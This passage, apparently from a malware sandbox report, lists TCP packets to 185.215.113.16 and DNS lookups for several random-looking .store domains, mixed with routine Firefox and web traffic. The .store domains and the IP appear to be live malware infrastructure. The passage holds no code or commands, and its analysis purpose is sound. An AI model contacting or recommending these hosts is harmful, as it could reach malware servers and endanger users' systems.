Oct 31, 2024 20:52:47.365479946 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365511894 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365600109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365641117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365650892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365691900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365696907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365704060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365741968 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365844965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365855932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365865946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365875959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365892887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365900040 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365900040 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365904093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365916967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.365930080 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.365952015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.366225004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366236925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366245985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366270065 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.366317987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366328955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366338968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366348982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366359949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366360903 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.366398096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.366398096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.366466045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366477013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366487026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366496086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366508961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366518974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366528988 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.366529942 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366538048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366545916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.366549015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.366574049 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.367094040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.367144108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:47.367419958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:47.367430925 CET	80	49766	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 20:52:13.595124006 CET	192.168.2.4	1.1.1.1	0x2272	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.612958908 CET	192.168.2.4	1.1.1.1	0x5452	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.624475956 CET	192.168.2.4	1.1.1.1	0xe753	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.641145945 CET	192.168.2.4	1.1.1.1	0x86f1	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.652477026 CET	192.168.2.4	1.1.1.1	0x1d69	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.084249973 CET	192.168.2.4	1.1.1.1	0xb19a	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.097363949 CET	192.168.2.4	1.1.1.1	0x43c9	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.110234976 CET	192.168.2.4	1.1.1.1	0x2369	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.122407913 CET	192.168.2.4	1.1.1.1	0x3f75	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:32.751348019 CET	192.168.2.4	1.1.1.1	0x3c77	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:32.765765905 CET	192.168.2.4	1.1.1.1	0xb53d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:52:41.113411903 CET	192.168.2.4	1.1.1.1	0x75c9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.126068115 CET	192.168.2.4	1.1.1.1	0xa2c5	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.132761955 CET	192.168.2.4	1.1.1.1	0xc411	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.135572910 CET	192.168.2.4	1.1.1.1	0x2d3	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.141269922 CET	192.168.2.4	1.1.1.1	0x51c3	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:52:41.151005983 CET	192.168.2.4	1.1.1.1	0xfa4f	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:02.065217972 CET	192.168.2.4	1.1.1.1	0xe5e0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:02.095451117 CET	192.168.2.4	1.1.1.1	0xcd37	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:02.113403082 CET	192.168.2.4	1.1.1.1	0xff4a	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:02.135205030 CET	192.168.2.4	1.1.1.1	0xae14	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.291657925 CET	192.168.2.4	1.1.1.1	0x8860	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.334259033 CET	192.168.2.4	1.1.1.1	0x1eb3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:04.534806013 CET	192.168.2.4	1.1.1.1	0xc8e2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.648920059 CET	192.168.2.4	1.1.1.1	0xe027	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.658921003 CET	192.168.2.4	1.1.1.1	0xe140	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.669656992 CET	192.168.2.4	1.1.1.1	0x6381	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.715151072 CET	192.168.2.4	1.1.1.1	0xf01a	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.715415955 CET	192.168.2.4	1.1.1.1	0xa7de	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.723521948 CET	192.168.2.4	1.1.1.1	0xa407	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:04.725378036 CET	192.168.2.4	1.1.1.1	0x5948	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:04.726645947 CET	192.168.2.4	1.1.1.1	0x6458	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.768902063 CET	192.168.2.4	1.1.1.1	0x9a02	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.769973040 CET	192.168.2.4	1.1.1.1	0xeaf7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:04.836046934 CET	192.168.2.4	1.1.1.1	0x2b9f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:05.106710911 CET	192.168.2.4	1.1.1.1	0xff80	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.177740097 CET	192.168.2.4	1.1.1.1	0xb2cd	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.201164007 CET	192.168.2.4	1.1.1.1	0x7568	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.201596022 CET	192.168.2.4	1.1.1.1	0x2bf4	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.226069927 CET	192.168.2.4	1.1.1.1	0xbee	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.227386951 CET	192.168.2.4	1.1.1.1	0x876a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.232711077 CET	192.168.2.4	1.1.1.1	0x309c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.235991001 CET	192.168.2.4	1.1.1.1	0xaad9	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.236776114 CET	192.168.2.4	1.1.1.1	0xbe32	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.250236988 CET	192.168.2.4	1.1.1.1	0xe87b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:05.250937939 CET	192.168.2.4	1.1.1.1	0xbc68	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:05.251178026 CET	192.168.2.4	1.1.1.1	0x5a0d	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:07.522222996 CET	192.168.2.4	1.1.1.1	0x748e	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:07.739248991 CET	192.168.2.4	1.1.1.1	0xe399	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:07.747989893 CET	192.168.2.4	1.1.1.1	0xff6a	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:09.017956972 CET	192.168.2.4	1.1.1.1	0x411c	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.018296957 CET	192.168.2.4	1.1.1.1	0x73be	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.018296957 CET	192.168.2.4	1.1.1.1	0x4127	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.027643919 CET	192.168.2.4	1.1.1.1	0x2071	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.028001070 CET	192.168.2.4	1.1.1.1	0x2517	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.028409958 CET	192.168.2.4	1.1.1.1	0x152d	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.035613060 CET	192.168.2.4	1.1.1.1	0x97b2	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:09.037827969 CET	192.168.2.4	1.1.1.1	0x5779	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:09.038084030 CET	192.168.2.4	1.1.1.1	0x4582	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 31, 2024 20:53:09.043735027 CET	192.168.2.4	1.1.1.1	0xdf34	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.045802116 CET	192.168.2.4	1.1.1.1	0x22b3	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.053997040 CET	192.168.2.4	1.1.1.1	0xa1b7	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.054321051 CET	192.168.2.4	1.1.1.1	0x13a8	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:09.063781023 CET	192.168.2.4	1.1.1.1	0x8b00	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:09.064080954 CET	192.168.2.4	1.1.1.1	0x5e84	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:11.026171923 CET	192.168.2.4	1.1.1.1	0x9da9	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:21.111723900 CET	192.168.2.4	1.1.1.1	0x243	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:21.421237946 CET	192.168.2.4	1.1.1.1	0xee93	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:21.422589064 CET	192.168.2.4	1.1.1.1	0xaf4b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:21.444039106 CET	192.168.2.4	1.1.1.1	0xd741	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:21.465428114 CET	192.168.2.4	1.1.1.1	0x60d3	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:21.465583086 CET	192.168.2.4	1.1.1.1	0x3b5c	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:21.484422922 CET	192.168.2.4	1.1.1.1	0xfff8	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:22.081237078 CET	192.168.2.4	1.1.1.1	0xe635	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:24.241494894 CET	192.168.2.4	1.1.1.1	0x61d8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:24.991663933 CET	192.168.2.4	1.1.1.1	0x3768	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:24.991810083 CET	192.168.2.4	1.1.1.1	0xcf9	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:27.136085033 CET	192.168.2.4	1.1.1.1	0xc9cc	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:37.829140902 CET	192.168.2.4	1.1.1.1	0x2c2a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:53:38.482528925 CET	192.168.2.4	1.1.1.1	0x409a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:50.526186943 CET	192.168.2.4	1.1.1.1	0x1fa5	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 20:53:58.487061977 CET	192.168.2.4	1.1.1.1	0x4962	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:58.495888948 CET	192.168.2.4	1.1.1.1	0x3a62	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:54:15.934709072 CET	192.168.2.4	1.1.1.1	0xc6c5	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:19.897203922 CET	192.168.2.4	1.1.1.1	0xa2f	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:54:20.582492113 CET	192.168.2.4	1.1.1.1	0x9c4a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:39.131778002 CET	192.168.2.4	1.1.1.1	0xdf68	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:54:39.139942884 CET	192.168.2.4	1.1.1.1	0x41f5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:54:39.757829905 CET	192.168.2.4	1.1.1.1	0xa9bd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.202287912 CET	192.168.2.4	1.1.1.1	0x9e9d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.210418940 CET	192.168.2.4	1.1.1.1	0x7829	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.234827995 CET	192.168.2.4	1.1.1.1	0x7829	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:00.235703945 CET	192.168.2.4	1.1.1.1	0x1de4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 20:56:00.889734030 CET	192.168.2.4	1.1.1.1	0x8ce2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:56:20.763770103 CET	192.168.2.4	1.1.1.1	0xcc40	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 20:52:13.607667923 CET	1.1.1.1	192.168.2.4	0x2272	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.621603012 CET	1.1.1.1	192.168.2.4	0x5452	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.638400078 CET	1.1.1.1	192.168.2.4	0xe753	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.650119066 CET	1.1.1.1	192.168.2.4	0x86f1	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.675669909 CET	1.1.1.1	192.168.2.4	0x1d69	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:13.675669909 CET	1.1.1.1	192.168.2.4	0x1d69	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.094105959 CET	1.1.1.1	192.168.2.4	0xb19a	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.106529951 CET	1.1.1.1	192.168.2.4	0x43c9	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.119466066 CET	1.1.1.1	192.168.2.4	0x2369	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:27.135091066 CET	1.1.1.1	192.168.2.4	0x3f75	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:32.724385023 CET	1.1.1.1	192.168.2.4	0x61f8	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:32.758522034 CET	1.1.1.1	192.168.2.4	0x3c77	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.120614052 CET	1.1.1.1	192.168.2.4	0x75c9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:52:41.120614052 CET	1.1.1.1	192.168.2.4	0x75c9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.132827044 CET	1.1.1.1	192.168.2.4	0xa2c5	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.139899969 CET	1.1.1.1	192.168.2.4	0xc411	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.142738104 CET	1.1.1.1	192.168.2.4	0x2d3	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:52:41.149635077 CET	1.1.1.1	192.168.2.4	0x51c3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 20:52:41.158235073 CET	1.1.1.1	192.168.2.4	0xfa4f	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 31, 2024 20:53:02.074457884 CET	1.1.1.1	192.168.2.4	0xe5e0	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:02.104723930 CET	1.1.1.1	192.168.2.4	0xcd37	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:02.122811079 CET	1.1.1.1	192.168.2.4	0xff4a	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:02.145689964 CET	1.1.1.1	192.168.2.4	0xae14	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.317816973 CET	1.1.1.1	192.168.2.4	0x8860	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.542779922 CET	1.1.1.1	192.168.2.4	0xc8e2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:04.542779922 CET	1.1.1.1	192.168.2.4	0xc8e2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.652407885 CET	1.1.1.1	192.168.2.4	0x9f27	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:04.652407885 CET	1.1.1.1	192.168.2.4	0x9f27	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.657017946 CET	1.1.1.1	192.168.2.4	0xe027	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.666855097 CET	1.1.1.1	192.168.2.4	0xe140	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.676668882 CET	1.1.1.1	192.168.2.4	0x6381	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:04.676668882 CET	1.1.1.1	192.168.2.4	0x6381	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.722373962 CET	1.1.1.1	192.168.2.4	0xa7de	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.722387075 CET	1.1.1.1	192.168.2.4	0xf01a	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:04.722387075 CET	1.1.1.1	192.168.2.4	0xf01a	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:04.722387075 CET	1.1.1.1	192.168.2.4	0xf01a	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.733520985 CET	1.1.1.1	192.168.2.4	0x6458	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.775935888 CET	1.1.1.1	192.168.2.4	0x9a02	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:04.842971087 CET	1.1.1.1	192.168.2.4	0x2b9f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 20:53:05.114403009 CET	1.1.1.1	192.168.2.4	0xff80	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:05.185239077 CET	1.1.1.1	192.168.2.4	0xb2cd	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.207947969 CET	1.1.1.1	192.168.2.4	0x7568	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.208728075 CET	1.1.1.1	192.168.2.4	0x2bf4	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.208728075 CET	1.1.1.1	192.168.2.4	0x2bf4	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.216156960 CET	1.1.1.1	192.168.2.4	0xfe78	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:05.216156960 CET	1.1.1.1	192.168.2.4	0xfe78	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.233213902 CET	1.1.1.1	192.168.2.4	0xbee	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:05.233213902 CET	1.1.1.1	192.168.2.4	0xbee	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.233634949 CET	1.1.1.1	192.168.2.4	0x1bce	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 20:53:05.234756947 CET	1.1.1.1	192.168.2.4	0x876a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 20:53:05.234756947 CET	1.1.1.1	192.168.2.4	0x876a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
